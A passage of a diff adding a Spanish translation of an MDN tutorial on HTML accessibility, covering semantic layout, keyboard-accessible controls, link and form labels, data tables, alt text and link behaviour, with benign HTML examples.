+          &lt;form width="300"&gt;
+            &lt;input type="search" name="q" placeholder="Search query" width="300"&gt;
+          &lt;/form&gt;
+        &lt;/td&gt;
+        &lt;td width="100"&gt;
+          &lt;button width="100"&gt;Go!&lt;/button&gt;
+        &lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;!-- spacer row --&gt;
+      &lt;tr id="spacer" height="10"&gt;
+        &lt;td&gt;
+
+        &lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;!-- main content and aside row --&gt;
+      &lt;tr id="main"&gt;
+        &lt;td id="content" colspan="4" bgcolor="#ffffff"&gt;
+
+          &lt;!-- main content goes here --&gt;
+        &lt;/td&gt;
+        &lt;td id="aside" colspan="2" bgcolor="#ff80ff" valign="top"&gt;
+          &lt;h2&gt;Related&lt;/h2&gt;
+
+          &lt;!-- aside content goes here --&gt;
+
+        &lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;!-- spacer row --&gt;
+      &lt;tr id="spacer" height="10"&gt;
+        &lt;td&gt;
+
+        &lt;/td&gt;
+      &lt;/tr&gt;
+      &lt;!-- footer row --&gt;
+      &lt;tr id="footer" bgcolor="#ffffff"&gt;
+        &lt;td colspan="6"&gt;
+          &lt;p&gt;©Copyright 2050 by nobody. All rights reversed.&lt;/p&gt;
+        &lt;/td&gt;
+      &lt;/tr&gt;
+    &lt;/table&gt;</pre>
+
+<p>Si intentas navegar por él con un lector de pantalla, probablemente te dirá que hay una tabla para mirar (aunque algunos lectores de pantalla pueden adivinar la diferencia entre diseños con tablas y tablas de datos). Luego, probablemente (dependiendo del lector de pantalla que estés usando) tendrás que entrar en la tabla como objeto y mirar sus características por separado, y luego salir de la tabla nuevamente para continuar navegando por el contenido.</p>
+
+<p>Los diseños con tablas son una reliquia del pasado: tenían sentido cuando la compatibilidad con CSS no estaba muy extendida en los navegadores, pero ahora solo crean confusión para los usuarios de lectores de pantalla. Además, su código fuente requiere más marcado, lo que los hace menos flexibles y más difíciles de mantener. Puedes verificar estas afirmaciones comparando tu experiencia anterior con un ejemplo de <a href="http://mdn.github.io/learning-area/html/introduction-to-html/document_and_website_structure/">estructura de sitio web más moderno</a>, que podría verse así:</p>
+
+<pre class="brush: html notranslate">&lt;header&gt;
+  &lt;h1&gt;Header&lt;/h1&gt;
+&lt;/header&gt;
+
+&lt;nav&gt;
+  &lt;!-- main navigation in here --&gt;
+&lt;/nav&gt;
+
+&lt;!-- Here is our page's main content --&gt;
+&lt;main&gt;
+
+  &lt;!-- It contains an article --&gt;
+  &lt;article&gt;
+    &lt;h2&gt;Article heading&lt;/h2&gt;
+
+    &lt;!-- article content in here --&gt;
+  &lt;/article&gt;
+
+  &lt;aside&gt;
+    &lt;h2&gt;Related&lt;/h2&gt;
+
+    &lt;!-- aside content in here --&gt;
+  &lt;/aside&gt;
+
+&lt;/main&gt;
+
+&lt;!-- And here is our main footer that is used across all the pages of our website --&gt;
+
+&lt;footer&gt;
+  &lt;!-- footer content in here --&gt;
+&lt;/footer&gt;</pre>
+
+<p>Si pruebas nuestro ejemplo de estructura más moderna con un lector de pantalla, verás que el marcado de diseño ya no se interpone ni confunde la lectura del contenido. También es mucho más ágil y más pequeño en términos de tamaño de código, lo que significa que el código es más fácil de mantener y menos ancho de banda para que el usuario lo descargue (especialmente para aquellos con conexiones lentas).</p>
+
+<p>Otra consideración al crear diseños es usar elementos semánticos HTML5 como se ve en el ejemplo anterior (ver <a href="/es/docs/Web/HTML/Elemento#Seccionamiento_del_contenido">secciónado de contenido</a>): puedes crear un diseño usando solo elementos {{htmlelement ("div")}} anidados, pero es mejor usar los elementos de seccionado adecuados para marcar la navegación principal ({{htmlelement ("nav")}}), el pie de página ({{htmlelement ("footer")}}), los bloques de contenido ({{htmlelement ("article")}}), etc. Estos proporcionan semántica adicional para lectores de pantalla (y otras herramientas) para brindar al usuario pistas adicionales sobre el contenido por el que están navegando (consulta <a href="http://www.weba11y.com/blog/2016/04/22/screen-reader-support-for-new-html5-section-elements/">Screen Reader Support for new HTML5 Section Elements</a> para hacerte una idea de cómo es el soporte de lectores de pantalla).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Además de tener una buena semántica y un diseño atractivo, tu contenido debería tener sentido lógico en su orden en el código; siempre puedes colocarlo donde desees usando CSS más adelante, pero deberías tener el orden en el código correcto para empezar, para que lo que se lee a los usuarios de lectores de pantalla tenga sentido.</p>
+</div>
+
+<h3 id="Controles_de_interfaz_de_usuario">Controles de interfaz de usuario</h3>
+
+<p>Por controles de interfaz de usuario nos referimos a las partes principales de los documentos web con las que los usuarios interactúan, habitualmente botones, enlaces y controles de formulario. En esta sección, veremos los aspectos básicos de accesibilidad a tener en cuenta al crear dichos controles. Los artículos posteriores sobre WAI-ARIA y multimedia analizarán otros aspectos de la accesibilidad de la interfaz de usuario.</p>
+
+<p>Un aspecto clave de la accesibilidad de los controles de interfaz de usuario es que, de forma predeterminada, los navegadores permiten que sean manipulados por el teclado. Puedes probar esto usando nuestro ejemplo <a href="https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">native-keyboard-accessibility.html</a> (<a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">código fuente</a>). Ábrelo en una nueva pestaña y prueba a pulsar la tecla de tabulación; después de algunas pulsaciones, deberías ver que el foco de la pestaña comienza a moverse a través de los diferentes elementos enfocables. Los elementos enfocados reciben un estilo predeterminado resaltado en cada navegador (difiere ligeramente entre diferentes navegadores) para que puedas saber qué elemento está enfocado.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14215/button-focused-unfocused.png" style="border-style: solid; border-width: 1px; display: block; height: 39px; margin: 0px auto; width: 288px;"></p>
+
+<p>Después puedes pulsar <kbd>Enter</kbd> / <kbd>Return</kbd> para seguir un enlace enfocado o pulsar un botón (hemos incluido algo de JavaScript para que los botones lancen un mensaje), o comenzar a escribir para introducir texto en un campo de texto. Otros elementos de formulario tienen diferentes controles; por ejemplo, el elemento {{htmlelement ("select")}} puede mostrar sus opciones y alternar entre usar las teclas de flecha arriba y abajo.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Diferentes navegadores pueden tener diferentes opciones de control de teclado disponibles. Consulta <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Using_native_keyboard_accessibility">Using native keyboard accessibility</a> para obtener más detalles.</p>
+</div>
+
+<p>Básicamente, obtienes este comportamiento gratis, solo con el uso de los elementos apropiados. Por ejemplo:</p>
+
+<pre class="brush: html example-good notranslate">&lt;h1&gt;Enlaces&lt;/h1&gt;
+
+&lt;p&gt;Esto es un enlace a &lt;a href="https://www.mozilla.org"&gt;Mozilla&lt;/a&gt;.&lt;/p&gt;
+
+&lt;p&gt;Otro enlace, a la &lt;a href="https://developer.mozilla.org"&gt;Mozilla Developer Network&lt;/a&gt;.&lt;/p&gt;
+
+&lt;h2&gt;Botones&lt;/h2&gt;
+
+&lt;p&gt;
+  &lt;button data-message="Esto es del primer botón"&gt;¡Haz clic!&lt;/button&gt;
+  &lt;button data-message="Esto es del segundo botón"&gt;¡Haz clic aquí también!&lt;/button&gt;
+  &lt;button data-message="Esto es del tercer botón"&gt;Y aquí!&lt;/button&gt;
+&lt;/p&gt;
+
+&lt;h2&gt;Formulario&lt;/h2&gt;
+
+&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="nombre"&gt;Entra tu nombre:&lt;/label&gt;
+    &lt;input type="text" id="nombre" name="nombre"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="edad"&gt;Entra tu edad:&lt;/label&gt;
+    &lt;input type="text" id="edad" name="edad"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="humor"&gt;Elige tu humor:&lt;/label&gt;
+    &lt;select id="humor" name="humor"&gt;
+      &lt;option&gt;Feliz&lt;/option&gt;
+      &lt;option&gt;Triste&lt;/option&gt;
+      &lt;option&gt;Enfadado/a&lt;/option&gt;
+      &lt;option&gt;Preocupado/a&lt;/option&gt;
+    &lt;/select&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Esto significa usar enlaces, botones, elementos y etiquetas de formulario de manera adecuada (incluido el elemento {{htmlelement ("label")}} para los controles de formulario).</p>
+
+<p>Sin embargo, nuevamente se da el caso de que la gente a veces hace cosas extrañas con HTML. Por ejemplo, a veces ves botones marcados con {{htmlelement ("div")}}s, por ejemplo:</p>
+
+<pre class="brush: html example-bad notranslate">&lt;div data-message="Esto es del primer botón"&gt;¡Haz clic aquí!&lt;/div&gt;
+&lt;div data-message="Esto es del segundo botón"&gt;¡Haz clic aquñi también!&lt;/div&gt;
+&lt;div data-message="Esto es del tercer botón"&gt;¡Y aquí!&lt;/div&gt;</pre>
+
+<p>Pero no se recomienda el uso de código como este: pierdes inmediatamente la accesibilidad nativa del teclado que habrías tenido si hubieras usado elementos {{htmlelement ("button")}}, y además no obtienes ninguno de los estilos CSS predeterminados que tienen los botones.</p>
+
+<h4 id="Volver_a_añadir_la_accesibilidad_del_teclado">Volver a añadir la accesibilidad del teclado</h4>
+
+<p>Volver a agregar estas ventajas requiere un poco de trabajo (puedes ver un ejemplo en nuestro ejemplo <a class="external external-icon" href="https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">fake-div-buttons.html</a>; consulta también el <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">código fuente</a>). Aquí le hemos dado a nuestros botones <code>&lt;div&gt;</code> falsos la capacidad de enfocarse (incluso a través de la tecla de tabulación) dándole a cada uno el atributo <code>tabindex="0"</code>:</p>
+
+<pre class="brush: html notranslate">&lt;div data-message="Esto es del primer botón" tabindex="0"&gt;¡Haz clic aquí!&lt;/div&gt;
+&lt;div data-message="Esto es del segundo botón" tabindex="0"&gt;¡Haz clic aquí también!&lt;/div&gt;
+&lt;div data-message="Esto es del tercer botón" tabindex="0"&gt;¡Y aquí!&lt;/div&gt;</pre>
+
+<p>Básicamente, el atributo {{htmlattrxref("tabindex")}} está destinado principalmente a permitir que los elementos tabulables tengan un orden de tabulación personalizado (especificado en orden numérico positivo), en lugar de simplemente tabularlos en su orden de origen predeterminado. Casi siempre es una mala idea, ya que puede causar una gran confusión. Úsalo solo si realmente lo necesitas; por ejemplo, si el diseño muestra las cosas en un orden visual muy diferente al código fuente, y deseas que las cosas funcionen de manera más lógica. Hay otras dos opciones para <code>tabindex</code>:</p>
+
+<ul>
+ <li><code>tabindex = "0"</code>: como se indicó anteriormente, este valor permite que los elementos que normalmente no se pueden tabular se conviertan en tabulables. Este es el valor más útil de <code>tabindex</code>.</li>
+ <li><code>tabindex = "- 1"</code>: esto permite que los elementos que normalmente no se pueden tabular reciban el foco mediante programación, p. ej. a través de JavaScript o como destino de enlaces.</li>
+</ul>
+
+<p>Si bien la adición anterior nos permite tabular los botones, no nos permite activarlos a través de la tecla <kbd>Enter</kbd> / <kbd>Return</kbd>. Para hacer eso, hemos tenido que agregar el siguiente truco en JavaScript:</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js">document<span class="punctuation token">.</span>onkeydown <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">if</span><span class="punctuation token">(</span>e<span class="punctuation token">.</span>keyCode <span class="operator token">===</span> <span class="number token">13</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="comment token">// La tecla Enter/Return</span>
+    document<span class="punctuation token">.</span>activeElement<span class="punctuation token">.</span><span class="function token">click</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<p>Aquí agregamos un "listener" (oyente) al objeto <code>document</code> para detectar cuándo se ha presionado una tecla en el teclado. Comprobamos qué botón se presionó mediante la propiedad <a href="/en-US/docs/Web/API/KeyboardEvent/keyCode">keyCode</a> del objeto de evento; si es el código clave que coincide con <kbd>Return</kbd> / <kbd>Enter</kbd>, ejecutamos la función almacenada en el manejador <code>onclick</code> del botón usando <code>document.activeElement.click()</code>. <a href="/en-US/docs/Web/API/Document/activeElement">activeElement</a> nos da el elemento que está actualmente enfocado en la página.</p>
+
+<p>Esta es mucho trabajo extra para volver a incorporar la funcionalidad. Y seguramente surgirán problemas con ella. Es mejor usar el elemento correcto para el trabajo correcto en primer lugar.</p>
+
+<h4 id="Etiquetas_de_texto_significativas">Etiquetas de texto significativas</h4>
+
+<p>Las etiquetas textuales de los controles de la interfaz de usuario son muy útiles para todos los usuarios, pero hacerlas bien es particularmente importante para los usuarios con discapacidades.</p>
+
+<p>Deberías asegurarte de que las etiquetas de texto de tus botones y enlaces sean comprensibles y distintivas. No uses simplemente "Haz clic aquí" para tus etiquetas, ya que los usuarios de lectores de pantalla a veces obtienen una lista de botones y controles de formulario. La siguiente captura de pantalla muestra nuestros controles enumerados por VoiceOver en Mac.</p>
+
+<p><img alt="Form controls. Click me! button. Click me too! button. And me! button. Fill me in: edit text. Fill me in: edit text. Happy collapsed pop up button. Happy menu item. Sad menu item. Angry menu item. Worried menu item." src="https://mdn.mozillademos.org/files/14335/voiceover-formcontrols.png" style="display: block; height: 604px; margin: 0px auto; width: 802px;"></p>
+
+<p>Asegúrate de que tus etiquetas tienen sentido sin su contexto, leídas solas, así como en el contexto del párrafo en que están. Por ejemplo, lo siguiente muestra un buen ejemplo de enlace de texto:</p>
+
+<pre class="brush: html example-good notranslate">&lt;p&gt;Las ballenas son criaturas realmente impresionantes. &lt;a href="whales.html"&gt;Aprende más sobre las ballenas&lt;/a&gt;.&lt;/p&gt;</pre>
+
+<p>y esto es un mal texto de enlace:</p>
+
+<pre class="brush: html example-bad notranslate">&lt;p&gt;Las ballenas son criaturas realmente impresionantes. Para aprender más sobre las ballenas, &lt;a href="whales.html"&gt;haz clic aquí&lt;/a&gt;.&lt;/p&gt;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Encontrarás mucho más sobre la implementación de enlaces y buenas prácticas en nuestro artículo <a href="/es/docs/Learn/HTML/Introduccion_a_HTML/Creating_hyperlinks">Crear hipervínculos</a>. También encontrarás buenos y malos ejemplos en <a href="http://mdn.github.io/learning-area/accessibility/html/good-links.html">good-links.html</a> y <a href="http://mdn.github.io/learning-area/accessibility/html/bad-links.html">bad-links.html</a>.</p>
+</div>
+
+<p>Las etiquetas de formulario también son importantes, para darte una pista sobre lo que necesita introducir en cada campo de formulario. El siguiente parece un ejemplo bastante razonable:</p>
+
+<pre class="brush: html example-bad notranslate">Entra tu nombre: &lt;input type="text" id="nombre" name="nombre"&gt;</pre>
+
+<p>Sin embargo, esto no es tan útil para usuarios con discapacidad. No hay nada en el ejemplo anterior para asociar la etiqueta de forma inequívoca con la entrada del formulario y dejar claro cómo rellenarlo si no puede verlo. Si accedes con algunos lectores de pantalla, es posible que solo se te proporcione una descripción en la línea de "editar texto".</p>
+
+<p>El siguiente es un ejemplo mucho mejor:</p>
+
+<pre class="brush: html example-good notranslate">&lt;div&gt;
+  &lt;label for="combre"&gt;Entra tu nombre:&lt;/label&gt;
+  &lt;input type="text" id="combre" name="nombre"&gt;
+&lt;/div&gt;</pre>
+
+<p>Con código como este, la etiqueta estará claramente asociada con la entrada; la descripción se parecerá más a "Entra tu nombre: editar texto".</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14337/voiceover-good-form-label.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Como ventaja adicional, en la mayoría de los navegadores asociar una etiqueta con una entrada de formulario significa que puedes hacer clic en la etiqueta para seleccionar / activar el elemento del formulario. Esto le da a la entrada un área de impacto más grande, lo que facilita la selección.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: puedes ver algunos ejemplos de buenos y malos formularios en <a href="http://mdn.github.io/learning-area/accessibility/html/good-form.html">good-form.html</a> y <a href="http://mdn.github.io/learning-area/accessibility/html/bad-form.html">bad-form.html</a>.</p>
+</div>
+
+<h2 id="Tablas_de_datos_accesibles">Tablas de datos accesibles</h2>
+
+<p>Se puede escribir una tabla de datos básica con un marcado muy simple, por ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Nombre&lt;/td&gt;
+    &lt;td&gt;Edad&lt;/td&gt;
+    &lt;td&gt;Género&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Gabriel&lt;/td&gt;
+    &lt;td&gt;13&lt;/td&gt;
+    &lt;td&gt;Masculino&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Elva&lt;/td&gt;
+    &lt;td&gt;8&lt;/td&gt;
+    &lt;td&gt;Femenino&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Freida&lt;/td&gt;
+    &lt;td&gt;5&lt;/td&gt;
+    &lt;td&gt;Femenino&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<p>Pero esto tiene problemas: no hay forma de que un usuario de lector de pantalla asocie filas o columnas como agrupaciones de datos. Para hacer esto, necesita saber cuáles son las filas de encabezado, y si están encabezando filas, columnas, etc. Esto solo se puede hacer visualmente para la tabla anterior (ve a <a href="https://mdn.github.io/learning-area/accessibility/html/bad-table.html">bad-table.html</a> y prueba tú mismo el ejemplo).</p>
+
+<p>Ahora echa un vistazo a nuestro <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-complete.html">ejemplo de tabla de bandas punk</a>: aquí puedes ver algunas ayudas de accesibilidad en funcionamiento:</p>
+
+<ul>
+ <li>Los encabezados de las tablas se definen utilizando elementos {{htmlelement("th")}}; también se puede especificar si son encabezados de filas o columnas mediante el atributo <code>scope</code>. Esto te da grupos completos de datos que los lectores de pantalla pueden consumir como unidades individuales.</li>
+ <li>El elemento {{htmlelement ("caption")}} y el atributo <code>summary</code> de <code>&lt;table&gt;</code> realizan trabajos similares: actúan como texto alternativo para una tabla, lo que brinda al usuario de lector de pantalla un resumen rápido y útil del contenido de la tabla. Por lo general, se prefiere <code>&lt;caption&gt;</code>, ya que también hace que su contenido sea accesible para los usuarios videntes, quienes también pueden encontrarlo útil. Realmente no necesitas usar ambos.</li>
+</ul>
+
+<p>Consulte nuestro artículo sobre funciones avanzadas y accesibilidad de tablas HTML para obtener más detalles sobre las tablas de datos accesibles.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Consulta nuestro artículo <a href="/es/docs/Learn/HTML/Tablas/Funciones_avanzadas_de_las_tablas_HTML_y_accesibilidad">Funciones avanzadas de tablas y accesibilidad</a> para ver más detalles sobre tablas de datos accesibles.</p>
+</div>
+
+<h2 id="Alternativas_de_texto">Alternativas de texto</h2>
+
+<p>Mientras que el contenido textual es inherentemente accesible, lo mismo no se puede decir del contenido multimedia — el contenido de imagen/video no puede ser visto por personas con discapacidad visual, y el contenido de audio no puede ser escuchado por personas sordas. Cubriremos el contenido de video y audio en detalle en el artículo <a href="/en-US/docs/Learn/Accessibility/Multimedia">multimedia accesible</a> más adelante, pero para este artículo veremos la accesibilidad del humilde elemento {{htmlelement("img")}}.</p>
+
+<p>Tenemos un ejemplo simple, <a href="http://mdn.github.io/learning-area/accessibility/html/accessible-image.html">access-image.html</a>, que presenta cuatro copias de la misma imagen:</p>
+
+<pre class="notranslate">&lt;img src="dinosaur.png"&gt;
+
+&lt;img src="dinosaur.png"
+     alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."&gt;
+
+&lt;img src="dinosaur.png"
+     alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."
+     title="The Mozilla red dinosaur"&gt;
+
+
+&lt;img src="dinosaur.png" aria-labelledby="dino-label"&gt;
+
+&lt;p id="dino-label"&gt;The Mozilla red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.&lt;/p&gt;
+</pre>
+
+<p>La primera imagen, cuando la ve un lector de pantalla, realmente no ofrece mucha ayuda al usuario; VoiceOver, por ejemplo, lee "/dinosaur.png, imagen". Lee el nombre del archivo para intentar proporcionar ayuda. En este ejemplo, el usuario al menos sabrá que es un dinosaurio de algún tipo, pero a menudo los archivos pueden cargarse con nombres de archivo generados por la máquina (por ejemplo, de una cámara digital) y estos nombres de archivo probablemente no proporcionarían contexto al contenido de la imagen.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Es por eso que nunca debes incluir contenido de texto dentro de una imagen: los lectores de pantalla simplemente no pueden acceder a él. También hay otras desventajas: no puedes seleccionarlo y copiarlo / pegarlo. ¡No lo hagas!</p>
+</div>
+
+<p>Cuando un lector de pantalla encuentra la segunda imagen, lee el atributo alt completo: "Un tiranosaurio rex rojo: un dinosaurio de dos patas erguido como un humano, con brazos pequeños y una cabeza grande con muchos dientes afilados".</p>
+
+<p>Esto resalta la importancia de no solo usar nombres de archivo significativos en caso de que el <strong>texto alternativo</strong> no esté disponible, sino también de asegurarse de que el texto alternativo se proporcione en los atributos <code>alt</code> siempre que sea posible. Ten en cuenta que el contenido del atributo <code>alt</code> siempre debe proporcionar una representación directa de la imagen y lo que transmite visualmente. Aquí no se debe incluir ningún conocimiento personal o descripción adicional, ya que no es útil para personas que no se han encontrado con la imagen antes.</p>
+
+<p>Una cosa a considerar es si tus imágenes tienen significado dentro del contenido, o si son puramente para decoración visual, por lo que no tienen significado. Si son decorativas, es mejor incluirlas en la página como imágenes de fondo CSS.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Lee <a href="/es/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Imágenes en HTML</a> y <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a> para obtener mucha más información sobre la implementación de imágenes y buenas prácticas asociadas.</p>
+</div>
+
+<p>Si deseas proporcionar información contextual adicional, deberías colocarla en el texto que rodea la imagen o dentro de un atributo <code>title</code>, como se muestra a continuación. En este caso, la mayoría de los lectores de pantalla leerán el texto alternativo, el atributo del título y el nombre del archivo. Además, los navegadores muestran el texto del título como información cuando se pasa por encima con el ratón.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14333/title-attribute.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Echemos otro vistazo al cuarto método:</p>
+
+<pre class="brush: html notranslate">&lt;img src="dinosaur.png" aria-labelledby="dino-label"&gt;
+
+&lt;p id="dino-label"&gt;The Mozilla red Tyrannosaurus ... &lt;/p&gt;</pre>
+
+<p>En este caso, no estamos usando el atributo <code>alt</code> en absoluto; en cambio, hemos presentado nuestra descripción de la imagen como un párrafo de texto normal, le hemos dado un <code>id</code> y luego usamos el atributo <code>aria-labelledby</code> para referirnos a ese <code>id</code>, que hace que los lectores de pantalla usen ese párrafo como texto alternativo o etiqueta para esa imagen. Esto es especialmente útil si desea utilizar el mismo texto como etiqueta para varias imágenes, algo que no es posible con <code>alt</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <code>aria-labelledby</code> es parte de la especificación <a href="https://www.w3.org/TR/wai-aria-1.1/">WAI-ARIA</a>, que permite a los desarrolladores añadir semántica extra a su marcado para mejorar su accesibilidad para lectores de pantalla cuando sea necesario. Para aprender más sobre cómo funciona, lee nuestro artículo <a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA Basics</a>.</p>
+</div>
+
+<h3 id="Otros_mecanismos_de_texto_alternativo">Otros mecanismos de texto alternativo</h3>
+
+<p>Las imágenes también tienen otros mecanismos disponibles para proporcionar texto descriptivo. Por ejemplo, hay un atributo <code>longdesc</code> que apunta a un documento web separado que contiene una descripción ampliada de la imagen, por ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;img src="dinosaur.png" longdesc="dino-info.html"&gt;</pre>
+
+<p>Parece una buena idea, especialmente para infografías como gráficos grandes con mucha información que tal vez podría representarse como una tabla de datos accesible (consulte la sección anterior). Sin embargo, <code>longdesc</code> no es compatible de forma consistente con lectores de pantalla, y el contenido es completamente inaccesible para los usuarios que no usan lectores de pantalla. Podría decirse que es mucho mejor incluir la descripción larga en la misma página que la imagen, o vincularla con un enlace normal.</p>
+
+<p>HTML5 incluye dos elementos nuevos, {{htmlelement("figure")}} y {{htmlelement("figcaption")}}, que se supone que asocian una figura de algún tipo (podría ser cualquier cosa, no necesariamente una imagen) con un pie de figura:</p>
+
+<pre class="brush: html notranslate">&lt;figure&gt;
+  &lt;img src="dinosaur.png" alt="El Tyrannosaurus de Mozilla"&gt;
+  &lt;figcaption&gt;Un Tyrannosaurus Rex rojo: Un dinosaurio de dos piernas, de pie como un humano, con brazos pequeños y una cabeza grande con un montón de dientes afilados.&lt;/figcaption&gt;
+&lt;/figure&gt;</pre>
+
+<p>Desafortunadamente, la mayoría de lectores de pantalla aún no parecen asociar los títulos de las figuras con sus figuras, pero la estructura del elemento es útil para dar estilo con CSS, y además proporciona una manera de colocar una descripción de la imagen junto a ella en el código.</p>
+
+<h3 id="Atributos_alt_vacíos">Atributos alt vacíos</h3>
+
+<pre class="brush: html notranslate">&lt;h3&gt;
+  &lt;img src="article-icon.png" alt=""&gt;
+  Tyrannosaurus Rex: el rey de los dinosaurios
+&lt;/h3&gt;</pre>
+
+<p>Puede haber ocasiones en las que se incluya una imagen en el diseño de una página, pero su propósito principal sea la decoración visual. Observarás en el ejemplo de código anterior que el atributo <code>alt</code> de la imagen está vacío; esto es para que los lectores de pantalla reconozcan la imagen, pero no intenten describirla imagen (en su lugar, solo dirían "imagen" o algo similar).</p>
+
+<p>La razón para usar un <code>alt</code> vacío en lugar de no incluirlo es porque muchos lectores de pantalla anuncian la URL completa de la imagen si no se proporciona un alt. En el ejemplo anterior, la imagen actúa como decoración visual del encabezado al que está asociada. En casos como este, y en los casos en los que una imagen es solo decoración y no tiene valor de contenido, debes poner un alt vacío en tus imágenes. Otra alternativa es usar el atributo de rol aria <code>role = "presentation"</code> - esto también evita que los lectores de pantalla lean el texto alternativo.</p>
+
+<div class="note">
+<p><strong>Note</strong>: si es posible, deberías usar CSS para mostrar imágenes que son solo decoración.</p>
+</div>
+
+<h2 id="Más_sobre_enlaces">Más sobre enlaces</h2>
+
+<p>Los enlaces (el elemento <code>&lt;a&gt;</code> con un atributo <code>href</code>), según cómo se utilicen, pueden ayudar o perjudicar la accesibilidad. De forma predeterminada, los enlaces son accesibles en apariencia. Pueden mejorar la accesibilidad al ayudar a un usuario a navegar rápidamente a diferentes secciones de un documento. También pueden dañar la accesibilidad si se elimina su estilo accesible o si JavaScript hace que se comporten de manera inesperada.</p>
+
+<h3 id="Estilo_de_enlace">Estilo de enlace</h3>
+
+<p>De forma predeterminada, los enlaces son visualmente diferentes de otros textos tanto en el color como en la decoración del texto, con enlaces azules y subrayados de forma predeterminada, morados y subrayados si se visitan, y con un anillo de enfoque cuando reciben el foco del teclado.</p>
+
+<p>El color no debe usarse como el único método para distinguir los enlaces del contenido que no enlaza. El color del texto del enlace, como todo el texto, debe ser significativamente diferente del color de fondo (<a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable/Color_contrast">un contraste de 4.5:1</a>). Además, los enlaces deben ser visualmente significativamente diferentes del texto sin enlaces. Con un requisito de contraste mínimo de 3:1 entre el texto del enlace y el texto circundante y entre los estados predeterminado, visitado y de enfoque / activo, y un contraste de 4:5 entre todos esos colores de estado y el color de fondo.</p>
+
+<h3 id="Eventos_onclick">Eventos onclick</h3>
+
+<p>A menudo se abusa de las etiquetas de anclaje con el evento <code>onclick</code> para crear pseudo-botones configurando href a <code>"#"</code> o<code> "javascript:void(0)"</code> para evitar que la página se actualice.</p>
+
+<p>Estos valores provocan un comportamiento inesperado al copiar o arrastrar enlaces, abrir enlaces en una nueva pestaña o ventana, marcar como favoritos y cuando JavaScript todavía se está descargando aparecen errores o está deshabilitado. Esto también transmite una semántica incorrecta a las tecnologías de asistencia (por ejemplo, lectores de pantalla). En estos casos, se recomienda utilizar un {{HTMLElement("button")}} en su lugar. En general, solo debe usar un ancla para la navegación utilizando una URL adecuada.</p>
+
+<h3 id="Enlaces_externos_y_enlaces_a_recursos_que_no_son_HTML">Enlaces externos y enlaces a recursos que no son HTML</h3>
+
+<p>Los enlaces que se abren en una nueva pestaña o ventana mediante la declaración <code>target="_blank"</code> y los enlaces cuyo valor <code>href</code> apunta a un recurso de archivo deben incluir un indicador sobre el comportamiento que se producirá cuando se active el enlace.</p>
+
+<p>Las personas con problemas de baja visión, que navegan con la ayuda de tecnología de lectura de pantalla o que tienen problemas cognitivos pueden confundirse cuando la nueva pestaña, ventana o aplicación se abre inesperadamente. Es posible que versiones antiguas del software de lectura de pantalla ni siquiera anuncien el comportamiento.</p>
+
+<h4 id="Enlace_que_abre_una_nueva_pestaña_o_ventana">Enlace que abre una nueva pestaña o ventana</h4>
+
+<pre class="brush: html notranslate">&lt;a target="_blank" href="https://www.wikipedia.org/"&gt;Wikipedia (se abre en una nueva ventana)&lt;/a&gt;</pre>
+
+<h4 id="Enlace_a_un_recurso_que_no_es_HTML">Enlace a un recurso que no es HTML</h4>
+
+<pre class="brush: html notranslate">&lt;a target="_blank" href="2017-annual-report.ppt"&gt;Informe anual de 2017 (PowerPoint)&lt;/a&gt;</pre>
+
